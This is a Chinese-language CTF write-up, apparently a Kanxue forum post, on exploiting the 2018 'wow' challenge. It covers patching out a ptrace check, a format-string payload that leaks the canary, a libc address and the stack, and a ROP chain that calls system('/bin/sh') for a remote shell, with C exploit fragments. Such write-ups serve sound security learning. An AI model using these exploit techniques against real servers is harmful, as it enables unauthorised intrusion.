-
-
[原创]2018第三题_wow的理解(c版)
-
发表于: 2018-7-27 17:24 2219
-
//=================================================================================== // 第一步:main函数的分析 //=================================================================================== .text:0000000000400794 ; int __cdecl main(int argc, const char **argv, const char **envp) ......... .text:0000000000400794 .text:0000000000400794 ; __unwind { .text:0000000000400794 push rbp //rsp = 00007FFE8AA55608 .text:0000000000400795 mov rbp, rsp //rbp = rsp - 8 = 00007FFE8AA55600 .text:0000000000400798 sub rsp, 40h //rsp = 00007FFE8AA555C0 = 00007FFE8AA55608 - 0x8 - 0x40 ....... .text:0000000000400807 call welcome ....... .text:0000000000400816 main endp 总结: 1、main函数的返回地址存放在:rsp_ret = 00007FFE8AA55608 2、后面使用的rsp:00007FFE8AA555C0(rsp_ret - 0x8 - 0x40) //=================================================================================== // 第二步:修改 test 函数,绕过 ptrace //=================================================================================== text:0000000000400751 public test .text:0000000000400751 test proc near .text:0000000000400751 ; __unwind { //1、要绕过后面的ptrace检查,只需将下面的push rbp改为retn即可 //1)更改前 .text:0000000000400751 push rbp //2)更改后 .text:0000000000400751 retn .......... .text:0000000000400793 ; } //=================================================================================== // 第三步:解密程序(具体参考:de_captone.c) //=================================================================================== //=================================================================================== // 第四步:解密后的程序的分析(具体参考:exp.c) //=================================================================================== //----------------------------------------------------- // 1、服务器执行write向stdout的buf里输入wow!(syscall:write) //----------------------------------------------------- 0x1000: lea rax, qword ptr [rax + rcx] 0x1004: sub rax, 0xc0 0x100a: xor rcx, rcx 0x100d: mov bl, byte ptr [rax + rcx] 0x1010: xor bl, dl 0x1012: mov byte ptr [rax + rcx], bl 0x1015: inc rcx 0x1018: cmp rcx, 0x20 0x101c: jl 0x100d 0x101e: mov rax, 1 0x1025: mov rdx, 5 0x102c: lea rsi, qword ptr [0x601058] 0x1034: mov rdi, rax 0x1037: syscall //write wow! //----------------------------------------------------- // 2、服务器调用 flush(客户端屏幕输出 wow!) //----------------------------------------------------- 0x1000: lea rax, qword ptr [rax + rcx] 0x1039: mov edi, 0 0x103e: call 0xbf4 0x1043: cmp rax, rax 0x1046: jne 0x105a 0x1048: call 0x104d //_flush 0x104d: pop rax 0x104e: add rax, 7 0x1052: jmp rax //----------------------------------------------------- // 3、 // 服务器:read 0x1a 字节数据(服务器等待输入) // 客户端:发送"%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a" //----------------------------------------------------- 0x1054: xor rax, rax //syscall的调用号 0x1057: mov rdx, 0x1a //rdx = 0x1a,读入数据长度 0x105e: mov rsi, rsp //rsi = 00007FFE8AA555C0 0x1061: mov qword ptr [0x601088], rsp //[0x601088] = rsp = 00007FFE8AA555C0(栈顶) 0x1069: mov rdi, rax //rdi = 0(文件句柄0对应stdin) 0x106c: syscall //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& // 这时, // 服务器:read等待客户端输入 // 客户端:发送"%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"以获取服务器上wow的 canary, setbuf, stack的实际加载地址 //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& static char libc_info[] = "%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"; ....... send(sockfd, libc_info, 25, 0); ...... ret_val = recv(sockfd,recv_buf,8192,0); ...... do_split(recv_buf, libc_info_arr, ' ', ret_val, 5, 64); ...... canary_addr = strtoul(&libc_info_arr[0],NULL,16); setbuf_addr = &libc_info_arr[1]; //stack的实际地址 stack_addr = strtoul(&libc_info_arr[2],NULL,16); //libc的实际加载地址 unsigned long libc_base_addr = *setbuf_addr - setbuf_offset_in_libc; //system函数的实际加载地址 unsigned long libc_system_addr = libc_base_addr + system_offset_in_libc; //rop_chain的实际加载地址 unsigned long wow_ropchain_addr= 0x400b23; 总结: 1、stack_addr = 00007FFE8AA555C0 2、着重理解 "%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a" 1)栈结构 ------------------------- 7FFE8AA555C0(rsp) ------------------------- -0x8 (%1$p) ........... ------------------------- 0x601018(setbuf) ------------------------- -0x40 (%8$s) ........... ------------------------- canary ------------------------- -0x68 (%13$p) 2)对于0x601018(setbuf)的理解,查看ida,发现是: .got.plt:0000000000601028 off_601028 dq offset setbuf //x86里dq是8字节 即:语句 printf("%8$s", 0x601028);注意:0x601028的单元内放置了“真实的setbuf地址”, 即:*(0x601028) = offset setbuf 因此,语句 printf("%8$s", 0x0000000000601028) 执行后的结果是打印出 “真实的setbuf地址”(是0x7f开头的地址) //----------------------------------------------------- // 4、 // 服务器:printf 数据(实际是printf("%13$p %8$s %1$p\x00\x18\x10\x60\00\00\00\00\00\x0a"),泄漏服务器的canary, setbuf, rsp) // 客户端:收到服务器的 canary, setbuf, rsp的实际加载地址 //----------------------------------------------------- 0x106e: mov rax, qword ptr [0x601088] //rax = 00007FFE8AA555C0(栈顶) 0x1075: mov rdi, rax //rdi = 00007FFE8AA555C0(栈顶) 0x1078: mov eax, 0 //[rdi] = [00007FFE8AA555C0(栈顶)] = 00007FFE8AA5560A 0x107d: call 0xbd4 //----------------------------------------------------- // 5、 // 服务器:read 0x200 字节数据(等待输入) // 客户端:发送构造好的数据,里面包含canary,system("bin/sh"),rop_libc_ret等信息,最终实现获取服务器shell //----------------------------------------------------- 0x1082: xor rax, rax //syscall的调用号 0x1085: mov rdx, 0x200 //rdx = 0x200,读入数据长度; rsp = 00007FFE8AA555C0; 0x108c: lea rsi, qword ptr [rsp - 0x20] //rsi = 读入buf起始位置 = rsp - 0x20= 00007FFE8AA555A0 0x1091: mov rdi, rax //rdi = 0(文件句柄0对应stdin) 0x1094: syscall 0x1096: nop 总结: 1、根据main函数分析的结果,main函数的返回地址存放在 rsp_ret = 00007FFE8AA55608 2、引起栈溢出的是 0x1082-0x1094 的syscall:read,它读入了0x200个字符 1)buf的起始位置:00007FFE8AA555A0(rsp-0x20) 2)buf的起始地址距离“main函数返回地址”:00007FFE8AA55608 - 00007FFE8AA555A0 = 0x68 = 104字节 3、构建攻击buf -------------------------------------- 00007FFE8AA555A0 88个'D'(88字节) -------------------------------------- 00007FFE8AA555F8 1个canary(8字节) -------------------------------------- 00007FFE8AA55600 8个0(8字节) -------------------------------------- 00007FFE8AA55608 返回地址(0x400b23) -------------------------------------- 00007FFE8AA55610 stack_addr + 0x60 -------------------------------------- 00007FFE8AA55618 libc_system_addr -------------------------------------- 00007FFE8AA55620 /bin/sh -------------------------------------- 注意: 1)返回地址为0x400b23,这是使用“ROPgadget --binary ../wow/wow --only "pop|ret"”进行搜索的,目的是找到 pop rdi;ret,即, 在服务器上wow的程序里 pop rdi;ret 对应的地址为 0x400b23 2)根据之前获得的服务器上wow的stack的实际地址(stack_addr = 00007FFE8AA555C0),因此这里的值是0x7FFE8AA555C0 + 0x60 = 0x7FFE8AA55620, 恰好指向 “/bin/sh” 3)libc_system_addr = libc.so里面的system函数在服务器上实际的加载地址 //=================================================================================== // 第五步:备注 //=================================================================================== 1、整个程序基本由c实现,但“rop链(ROPgadget)”例外
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-7-29 12:18
被mdtek编辑
,原因:
赞赏
谁下载
无
谁下载
无
看原图
赞赏
雪币:
留言: